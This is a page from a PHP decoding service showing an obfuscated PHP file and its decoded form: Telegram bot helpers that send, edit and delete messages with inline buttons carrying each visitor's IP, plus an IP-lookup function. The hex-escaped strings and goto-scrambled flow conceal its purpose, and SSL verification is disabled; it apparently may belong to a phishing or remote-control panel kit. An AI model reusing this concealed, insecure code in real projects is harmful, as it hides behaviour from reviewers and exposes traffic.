Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
goto LuWGR; h7Mb7: function telegram_edit_button($message_id, $edited_message, $telegra..
Decoded Output download
<?
goto LuWGR; h7Mb7: function telegram_edit_button($message_id, $edited_message, $telegram_token, $telegram_chat_id, $buttons, $buttons_data) { $curl = curl_init(); $format = "MarkDown"; $inline_keyboard = array(); for ($i = 0; $i < count($buttons); $i++) { $button = array("text" => $buttons[$i], "callback_data" => get_IP() . "=" . $buttons_data[$i]); $inline_keyboard[] = array($button); } $reply_markup = array("inline_keyboard" => $inline_keyboard); $post_fields = array("chat_id" => $telegram_chat_id, "message_id" => $message_id, "text" => $edited_message, "parse_mode" => $format, "reply_markup" => json_encode($reply_markup)); $url = "https://api.telegram.org/bot" . $telegram_token . "/editMessageText"; curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $post_fields); $result = curl_exec($curl); curl_close($curl); $response = json_decode($result, true); if ($response["ok"]) { return true; } return false; } goto fdlo3; LuWGR: function telegram_send_button($message, $telegram_token, $telegram_chat_id, $buttons, $buttons_data, $photo_path = '') { $curl = curl_init(); $format = "MarkDown"; $inline_keyboard = array(); for ($i = 0; $i < count($buttons); $i++) { $button = array("text" => $buttons[$i], "callback_data" => get_IP() . "=" . $buttons_data[$i]); $inline_keyboard[] = array($button); } $reply_markup = array("inline_keyboard" => $inline_keyboard); if (empty($photo_path)) { $post_fields = array("chat_id" => $telegram_chat_id, "text" => $message, "parse_mode" => $format, "reply_markup" => json_encode($reply_markup)); $url = "https://api.telegram.org/bot" . $telegram_token . "/sendMessage"; } else { $post_fields = array("chat_id" => $telegram_chat_id, "caption" => $message, "photo" => new CURLFile(realpath($photo_path)), "parse_mode" => $format, "reply_markup" => json_encode($reply_markup)); $url = "https://api.telegram.org/bot" . $telegram_token . "/sendPhoto"; } curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $post_fields); $result = curl_exec($curl); curl_close($curl); $response = json_decode($result, true); if ($response["ok"]) { return $response["result"]["message_id"]; } return false; } goto V2HiT; V2HiT: function telegram_delete_message($message_id, $telegram_token, $telegram_chat_id) { $curl = curl_init(); $post_fields = array("chat_id" => $telegram_chat_id, "message_id" => $message_id); $url = "https://api.telegram.org/bot" . $telegram_token . "/deleteMessage"; curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $post_fields); $result = curl_exec($curl); curl_close($curl); $response = json_decode($result, true); if ($response["ok"]) { return true; } return false; } goto h7Mb7; pG1NC: function get_IP() { if (isset($_SERVER)) { if (isset($_SERVER["HTTP_X_FORWARDED_FOR"]) && !empty($_SERVER["HTTP_X_FORWARDED_FOR"])) { $ip_list = explode(",", $_SERVER["HTTP_X_FORWARDED_FOR"]); foreach ($ip_list as $ip) { $ip = trim($ip); if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_IPV6)) { return $ip; } } } if (isset($_SERVER["HTTP_CLIENT_IP"]) && !empty($_SERVER["HTTP_CLIENT_IP"])) { $ip = $_SERVER["HTTP_CLIENT_IP"]; if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_IPV6)) { return $ip; } } if (isset($_SERVER["REMOTE_ADDR"]) && !empty($_SERVER["REMOTE_ADDR"])) { $ip = $_SERVER["REMOTE_ADDR"]; if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_IPV6)) { return $ip; } } } if (getenv("HTTP_X_FORWARDED_FOR") && !empty(getenv("HTTP_X_FORWARDED_FOR"))) { $ip_list = explode(",", getenv("HTTP_X_FORWARDED_FOR")); foreach ($ip_list as $ip) { $ip = trim($ip); if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_IPV6)) { return $ip; } } } if (getenv("HTTP_CLIENT_IP") && !empty(getenv("HTTP_CLIENT_IP"))) { $ip = getenv("HTTP_CLIENT_IP"); if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_IPV6)) { return $ip; } } if (getenv("REMOTE_ADDR") && !empty(getenv("REMOTE_ADDR"))) { $ip = getenv("REMOTE_ADDR"); if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_IPV6)) { return $ip; } } return ''; } goto OZxR_; yCAHZ: function telegram_remove_buttons($replyMsgId, $telegram_token, $telegram_chat_id) { file_get_contents("https://api.telegram.org/bot" . $telegram_token . "/editMessageReplyMarkup?chat_id=" . $telegram_chat_id . "&message_id=" . $replyMsgId); return true; } goto pG1NC; fdlo3: function telegram_edit_text($message_id, $edited_message, $telegram_token, $telegram_chat_id) { $curl = curl_init(); $format = "MarkDown"; $post_fields = array("chat_id" => $telegram_chat_id, "message_id" => $message_id, "text" => $edited_message, "parse_mode" => $format); $url = "https://api.telegram.org/bot" . $telegram_token . "/editMessageText"; curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $post_fields); $result = curl_exec($curl); curl_close($curl); $response = json_decode($result, true); if ($response["ok"]) { return true; } return false; } goto yN5ui; yN5ui: function telegram_edit_caption($message_id, $edited_message, $telegram_token, $telegram_chat_id) { $curl = curl_init(); $format = "MarkDown"; $post_fields = array("chat_id" => $telegram_chat_id, "message_id" => $message_id, "caption" => $edited_message, "parse_mode" => $format); $url = "https://api.telegram.org/bot" . $telegram_token . "/editMessageCaption"; curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $post_fields); $result = curl_exec($curl); curl_close($curl); $response = json_decode($result, true); if ($response["ok"]) { return true; } return false; } goto yCAHZ; OZxR_: ?>
Did this file decode correctly?
Original Code
goto LuWGR; h7Mb7: function telegram_edit_button($message_id, $edited_message, $telegram_token, $telegram_chat_id, $buttons, $buttons_data) { $curl = curl_init(); $format = "\x4d\141\x72\153\x44\x6f\167\x6e"; $inline_keyboard = array(); for ($i = 0; $i < count($buttons); $i++) { $button = array("\164\x65\170\164" => $buttons[$i], "\x63\x61\154\x6c\142\141\x63\153\x5f\x64\141\x74\141" => get_IP() . "\75" . $buttons_data[$i]); $inline_keyboard[] = array($button); } $reply_markup = array("\151\x6e\x6c\151\x6e\x65\137\153\x65\171\x62\157\141\x72\x64" => $inline_keyboard); $post_fields = array("\143\x68\141\164\137\x69\144" => $telegram_chat_id, "\x6d\x65\x73\x73\141\147\145\x5f\x69\x64" => $message_id, "\x74\x65\170\164" => $edited_message, "\x70\x61\x72\163\145\137\x6d\x6f\x64\x65" => $format, "\x72\x65\x70\x6c\171\137\155\x61\162\153\x75\x70" => json_encode($reply_markup)); $url = "\150\164\x74\x70\163\x3a\x2f\x2f\x61\160\x69\56\x74\145\x6c\x65\147\162\141\155\x2e\x6f\x72\147\57\x62\157\164" . $telegram_token . "\x2f\145\144\x69\x74\115\x65\163\163\141\x67\x65\x54\145\x78\164"; curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $post_fields); $result = curl_exec($curl); curl_close($curl); $response = json_decode($result, true); if ($response["\x6f\153"]) { return true; } return false; } goto fdlo3; LuWGR: function telegram_send_button($message, $telegram_token, $telegram_chat_id, $buttons, $buttons_data, $photo_path = '') { $curl = curl_init(); $format = "\x4d\x61\162\x6b\x44\x6f\167\156"; $inline_keyboard = array(); for ($i = 0; $i < count($buttons); $i++) { $button = array("\x74\x65\170\x74" => $buttons[$i], "\x63\x61\154\x6c\142\x61\143\x6b\137\144\141\x74\x61" => get_IP() . "\75" . $buttons_data[$i]); $inline_keyboard[] = array($button); } $reply_markup = array("\x69\156\x6c\151\156\x65\137\153\145\x79\142\x6f\141\162\144" => $inline_keyboard); if (empty($photo_path)) { $post_fields = array("\x63\x68\141\x74\137\151\144" => $telegram_chat_id, "\164\145\170\164" => $message, "\x70\x61\162\x73\x65\137\155\x6f\x64\145" => $format, "\162\145\160\154\x79\137\x6d\x61\162\153\165\x70" => json_encode($reply_markup)); $url = "\x68\164\164\x70\x73\x3a\x2f\57\x61\x70\x69\56\x74\x65\x6c\145\x67\162\x61\155\x2e\157\162\x67\x2f\142\157\x74" . $telegram_token . "\57\x73\x65\x6e\x64\115\145\x73\x73\x61\147\145"; } else { $post_fields = array("\143\150\141\164\x5f\x69\x64" => $telegram_chat_id, "\143\141\160\x74\x69\157\156" => $message, "\160\x68\x6f\164\157" => new CURLFile(realpath($photo_path)), "\160\141\162\x73\145\x5f\x6d\x6f\144\x65" => $format, "\162\x65\160\154\x79\137\155\141\162\153\165\x70" => json_encode($reply_markup)); $url = "\x68\x74\x74\160\163\x3a\x2f\x2f\141\160\x69\56\164\145\154\x65\x67\x72\x61\155\56\x6f\162\x67\x2f\x62\157\x74" . $telegram_token . "\57\x73\145\x6e\144\120\150\157\x74\x6f"; } curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $post_fields); $result = curl_exec($curl); curl_close($curl); $response = json_decode($result, true); if ($response["\x6f\153"]) { return $response["\162\145\x73\x75\154\x74"]["\x6d\145\163\x73\x61\x67\145\x5f\151\x64"]; } return false; } goto V2HiT; V2HiT: function telegram_delete_message($message_id, $telegram_token, $telegram_chat_id) { $curl = curl_init(); $post_fields = array("\x63\x68\x61\164\x5f\151\x64" => $telegram_chat_id, "\x6d\x65\x73\163\x61\147\x65\137\x69\x64" => $message_id); $url = "\150\x74\164\160\x73\72\57\57\x61\160\x69\x2e\x74\x65\154\145\147\x72\141\x6d\56\x6f\x72\x67\57\142\157\164" . $telegram_token . "\57\144\x65\x6c\145\164\x65\115\x65\x73\163\141\147\145"; curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $post_fields); $result = curl_exec($curl); curl_close($curl); $response = json_decode($result, true); if ($response["\x6f\153"]) { return true; } return false; } goto h7Mb7; pG1NC: function get_IP() { if (isset($_SERVER)) { if (isset($_SERVER["\x48\x54\124\x50\137\x58\137\x46\117\x52\127\x41\122\104\x45\104\137\106\x4f\122"]) && !empty($_SERVER["\110\x54\124\x50\137\x58\x5f\x46\117\x52\127\x41\122\104\x45\104\137\106\x4f\x52"])) { $ip_list = explode("\54", $_SERVER["\x48\124\124\120\x5f\x58\x5f\x46\x4f\122\127\101\x52\104\x45\x44\137\x46\x4f\122"]); foreach ($ip_list as $ip) { $ip = trim($ip); if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_IPV6)) { return $ip; } } } if (isset($_SERVER["\110\124\x54\x50\137\103\x4c\111\105\x4e\124\x5f\x49\x50"]) && !empty($_SERVER["\110\124\124\x50\137\103\x4c\111\105\116\x54\x5f\x49\x50"])) { $ip = $_SERVER["\x48\124\x54\120\137\103\x4c\x49\x45\116\x54\x5f\x49\x50"]; if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_IPV6)) { return $ip; } } if (isset($_SERVER["\x52\105\115\x4f\x54\x45\x5f\x41\104\x44\122"]) && !empty($_SERVER["\x52\x45\x4d\117\124\105\137\x41\x44\x44\x52"])) { $ip = $_SERVER["\x52\105\x4d\117\124\105\x5f\101\x44\104\x52"]; if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_IPV6)) { return $ip; } } } if (getenv("\110\124\124\x50\x5f\x58\x5f\x46\117\122\127\x41\122\104\105\104\x5f\x46\x4f\122") && !empty(getenv("\x48\x54\x54\120\137\x58\x5f\x46\117\122\127\101\x52\x44\x45\104\137\106\x4f\x52"))) { $ip_list = explode("\x2c", getenv("\x48\x54\x54\x50\137\x58\137\x46\x4f\122\127\x41\x52\104\x45\104\x5f\106\x4f\122")); foreach ($ip_list as $ip) { $ip = trim($ip); if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_IPV6)) { return $ip; } } } if (getenv("\x48\x54\124\x50\x5f\103\114\x49\105\116\x54\137\111\120") && !empty(getenv("\x48\124\x54\x50\x5f\x43\x4c\111\x45\116\124\x5f\111\120"))) { $ip = getenv("\x48\124\124\120\137\x43\114\x49\105\116\x54\x5f\x49\x50"); if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_IPV6)) { return $ip; } } if (getenv("\x52\105\115\x4f\x54\105\137\x41\104\x44\122") && !empty(getenv("\122\x45\x4d\117\124\x45\137\x41\x44\x44\x52"))) { $ip = getenv("\x52\105\115\117\x54\105\137\x41\104\104\x52"); if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_IPV6)) { return $ip; } } return ''; } goto OZxR_; yCAHZ: function telegram_remove_buttons($replyMsgId, $telegram_token, $telegram_chat_id) { file_get_contents("\x68\164\164\x70\x73\72\x2f\57\x61\160\151\x2e\x74\x65\154\145\x67\x72\141\155\x2e\x6f\x72\x67\x2f\x62\x6f\x74" . $telegram_token . "\57\145\x64\151\164\x4d\x65\x73\x73\x61\147\x65\x52\145\160\x6c\171\115\141\162\x6b\x75\160\x3f\143\150\x61\164\137\x69\x64\75" . $telegram_chat_id . "\x26\155\145\163\x73\x61\x67\145\137\x69\144\75" . $replyMsgId); return true; } goto pG1NC; fdlo3: function telegram_edit_text($message_id, $edited_message, $telegram_token, $telegram_chat_id) { $curl = curl_init(); $format = "\115\x61\162\x6b\x44\x6f\x77\156"; $post_fields = array("\x63\150\141\x74\x5f\x69\x64" => $telegram_chat_id, "\x6d\145\x73\x73\x61\147\x65\137\151\x64" => $message_id, "\x74\145\x78\164" => $edited_message, "\x70\141\162\163\145\x5f\155\157\x64\145" => $format); $url = "\150\x74\x74\x70\x73\72\x2f\57\141\160\151\56\164\x65\x6c\145\147\x72\x61\155\56\157\x72\x67\57\142\x6f\164" . $telegram_token . "\57\145\144\x69\x74\x4d\145\x73\x73\x61\x67\x65\x54\x65\170\x74"; curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $post_fields); $result = curl_exec($curl); curl_close($curl); $response = json_decode($result, true); if ($response["\157\153"]) { return true; } return false; } goto yN5ui; yN5ui: function telegram_edit_caption($message_id, $edited_message, $telegram_token, $telegram_chat_id) { $curl = curl_init(); $format = "\115\141\162\x6b\x44\x6f\167\156"; $post_fields = array("\x63\150\141\x74\x5f\x69\144" => $telegram_chat_id, "\x6d\145\163\x73\141\147\145\x5f\151\144" => $message_id, "\143\x61\160\164\x69\157\156" => $edited_message, "\x70\141\x72\x73\145\x5f\155\x6f\144\145" => $format); $url = "\x68\x74\x74\x70\163\x3a\x2f\x2f\x61\160\x69\56\x74\145\x6c\145\x67\162\x61\x6d\x2e\x6f\x72\147\x2f\142\157\164" . $telegram_token . "\57\145\x64\151\164\x4d\145\163\163\141\147\145\x43\x61\160\164\151\157\x6e"; curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $post_fields); $result = curl_exec($curl); curl_close($curl); $response = json_decode($result, true); if ($response["\157\153"]) { return true; } return false; } goto yCAHZ; OZxR_:
Function Calls
None |
Stats
MD5 | b3f42129f2f636eb5fd38d8afdaf4931 |
Eval Count | 0 |
Decode Time | 63 ms |